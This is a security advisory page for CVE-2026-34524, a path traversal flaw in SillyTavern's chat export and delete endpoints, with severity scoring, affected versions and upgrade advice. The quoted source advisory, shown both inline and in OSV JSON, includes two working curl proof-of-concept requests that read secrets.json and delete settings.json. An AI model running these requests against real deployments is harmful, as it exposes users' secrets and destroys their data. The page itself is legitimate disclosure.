CVE-2026-34524: SillyTavern Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-vprr-q85p-79mf
CVSS 8.3
CWE-22
Published
Advisory Summary

CVE-2026-34524 is a HIGH (CVSS 8.3) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting SillyTavern libraries in the npm ecosystem. The issue involves path traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root. Remediation is available by upgrading affected packages to version 1.17.0.

CVE-2026-34524 at a Glance

CVE Identifier CVE-2026-34524
GHSA Identifier GHSA-vprr-q85p-79mf
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product SillyTavern
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-34524

To remediate this vulnerability, upgrade all affected SillyTavern dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

sillytavern fixed: 1.17.0
npm install sillytavern@1.17.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls sillytavern

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-34524, inspect your project dependencies using npm:

npm ls sillytavern

Analyze the terminal output to locate any version of SillyTavern in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.17.0), your application is affected.

Note: The npm ls sillytavern command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In SillyTavern, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=".."`. ### Details The input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`. Evidence: - Weak validator regex (does not reject `..`): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27> - Vulnerable delete path construction: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577> - Vulnerable export path construction: <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598> - Endpoint auth context (authenticated user access): <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239> Because `avatar_url=".."` is accepted, `path.join(<user>/chats, "..")` resolves to `<user>/`, enabling direct access to files outside the chats directory. ### PoC Prerequisites: - Valid authenticated session cookie (`cookie.txt`) - Valid CSRF token (`$TOKEN`) Read sensitive file (`secrets.json`): ```bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \ -d '{"avatar_url":"..","is_group":false,"file":"secrets.json","format":"jsonl","exportfilename":"x"}' \ http://TARGET:8000/api/chats/export ``` Delete sensitive file (`settings.json`): ```bash curl -b cookie.txt -H "x-csrf-token: $TOKEN" -H "content-type: application/json" \ -d '{"avatar_url":"..","chatfile":"settings.json"}' \ http://TARGET:8000/api/chats/delete ``` ### Impact - Confidentiality: exposed per-user secrets and config data. - Integrity/Availability: attacker can delete critical per-user files and break account operation. - Risk is significant in multi-user or remotely reachable deployments. ### Resolution The issue was addressed in version 1.17.0

CVE-2026-34524 Affected SillyTavern Versions

1 component(s)
Fixed Versions:
1.17.0
Product / Package Ecosystem Affected Versions Fixed Version
sillytavern
npm
< 1.17.0
1.17.0

References

Frequently Asked Questions

What is CVE-2026-34524?
CVE-2026-34524 is a security vulnerability in SillyTavern involving Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which SillyTavern versions are affected?
Affected versions include releases prior to 1.17.0 across affected packages: sillytavern.
What version fixes CVE-2026-34524?
Upgrading to 1.17.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is sillytavern affected?
Yes, sillytavern is affected in releases prior to 1.17.0. Upgrade your dependency to 1.17.0 or later.
What is the CVSS score of CVE-2026-34524?
CVE-2026-34524 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L.
What CWE is associated with CVE-2026-34524?
CVE-2026-34524 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2026-34524?
Run the dependency tree command: 'npm ls sillytavern'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vprr-q85p-79mf",
  "modified" : "2026-04-06T17:24:25Z",
  "published" : "2026-04-01T21:41:48Z",
  "aliases" : [ "CVE-2026-34524" ],
  "summary" : "SillyTavern: Path Traversal in `/api/chats/export` and `/api/chats/delete` allows arbitrary file read/delete within user data root",
  "details" : "## Summary\nA Path Traversal vulnerability in chat endpoints allows an authenticated attacker to read and delete arbitrary files under their user data root (for example `secrets.json` and `settings.json`) by supplying `avatar_url=\"..\"`.\n\n### Details\nThe input validator used by `avatar_url` blocks only `/` and NUL bytes, but does not block traversal segments like `..`.\n\nEvidence:\n- Weak validator regex (does not reject `..`):  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/middleware/validateFileName.js#L24-L27>\n- Vulnerable delete path construction:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L575-L577>\n- Vulnerable export path construction:  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L595-L598>\n- Endpoint auth context (authenticated user access):  \n  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>\n\nBecause `avatar_url=\"..\"` is accepted, `path.join(<user>/chats, \"..\")` resolves to `<user>/`, enabling direct access to files outside the chats directory.\n\n### PoC\nPrerequisites:\n- Valid authenticated session cookie (`cookie.txt`)\n- Valid CSRF token (`$TOKEN`)\n\nRead sensitive file (`secrets.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"is_group\":false,\"file\":\"secrets.json\",\"format\":\"jsonl\",\"exportfilename\":\"x\"}' \\\n  http://TARGET:8000/api/chats/export\n```\n\nDelete sensitive file (`settings.json`):\n\n```bash\ncurl -b cookie.txt -H \"x-csrf-token: $TOKEN\" -H \"content-type: application/json\" \\\n  -d '{\"avatar_url\":\"..\",\"chatfile\":\"settings.json\"}' \\\n  http://TARGET:8000/api/chats/delete\n```\n\n### Impact\n- Confidentiality: exposed per-user secrets and config data.\n- Integrity/Availability: attacker can delete critical per-user files and break account operation.\n- Risk is significant in multi-user or remotely reachable deployments.\n\n### Resolution\n\nThe issue was addressed in version 1.17.0",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "sillytavern"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.17.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.16.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-vprr-q85p-79mf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34524"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SillyTavern/SillyTavern"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T21:41:48Z",
    "nvd_published_at" : "2026-04-02T18:16:29Z"
  }
}